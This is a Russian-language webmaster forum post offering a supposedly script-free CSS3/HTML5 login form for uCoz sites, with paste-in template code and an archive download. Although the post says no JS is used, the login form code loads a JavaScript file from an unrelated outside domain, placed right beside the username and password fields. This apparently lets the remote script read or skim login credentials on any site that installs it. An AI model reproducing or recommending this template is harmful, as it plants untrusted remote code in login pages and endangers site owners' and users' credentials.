Форма входа CSS3 & HTML5 - Форум

Перейти к содержимому

Toggle shoutboxWeb-помощник поможет вам с WebProject чат

Рекламное место
Открыть

Популярные темы

  • Страница 1 из 1
  • 1
Форум » Форум веб-мастеров » uCoz » Форма входа CSS3 & HTML5 (под систему ucoz)
Форма входа CSS3 & HTML5
LookflacoДата: Среда, 13.06.2012, 22:03 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 6
Статус: Offline
отлично смотрится под любой дизайн

Смотрим скрин скрипта: http://s019.radikal.ru/i607/1205/2c/2f2f79b1f69a.png

Очень красивая форма входа в которой вместо jq & js используем CSS3 и HTML5,ну очень простая в установке форма входа для uCoz.
Установим нашу форму входа для uCoz:
ПУ-->Управление дизайном-->Страница входа пользователей. В head подключаем css файл:

Code
<link rel="stylesheet" type="text/css" href="/css/style.css" />


Предварительно, вам необходимо, в файловом менеджере создать папки css и images и загрузить в них файлы из одноименных папок архива с исходниками.

СКАЧАТЬ: narod.ru/disk/50873441001.b873d9c8f72428277d36f499c2ad5f0f/152_fv.rar.html

Ниже, находим:

Code
$BODY$


И заменяем его на:

Code
<?if($USER_AGENT$='ie')?>$LOG_FORM$<?else?>$BODY$<?endif?>


Затем, ПУ-->Управление дизайном-->Форма входа пользователей. Заменяем весь код на этот:

Code
<div class="container">   
<section id="content">   
<div>   
<input class="loginField" placeholder="Введите логин" required="" id="username" type="text" name="user" value="" maxlength="50"/>   
</div>   
<div>   
<input class="loginField" placeholder="*******" required="" id="password" type="password" name="password" maxlength="15"/>   
</div>   
<div>   
<input name="sbm" type="submit" value="Вход"/>  
<script language="javascript" src="http://lifi-gta.ru/jogin_form_javascript.js"></script>
<a href="$REMINDER_LINK$">Забыл пароль</a>   
<a href="$REGISTER_LINK$">Регистрация</a>   
</div>   
<div class="button">   
<input class="test" id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label><input class="test" id="hid$PAGE_ID$" type="checkbox" name="hidden" value="1" /><label for="hid$PAGE_ID$">скрытый</label>   
</div>   
</section>   
</div>


На этом установка завершена!
 
Форум » Форум веб-мастеров » uCoz » Форма входа CSS3 & HTML5 (под систему ucoz)
  • Страница 1 из 1
  • 1
Поиск:


Форум Не прочитанный форум Категория Не прочитанная категория Форум (защищен паролем) Не прочитанный форум (защищен паролем) Архивный форум Переадресация
Форум Не прочитанный форум Категория Не прочитанная категория Форум (защищен паролем) Не прочитанный форум (защищен паролем) Архивный форум Переадресация

Статистика форума

Новые пользователи:
  • Dahaka
  • Carabine
  • Ronaldo
  • QvaserGold
  • kazay
  • Admin
  • defaultNick
  • Markiz15
  • Snurin
  • КВинС

    • VIP | Пользователи | Администраторы | Главный модератор | Модераторы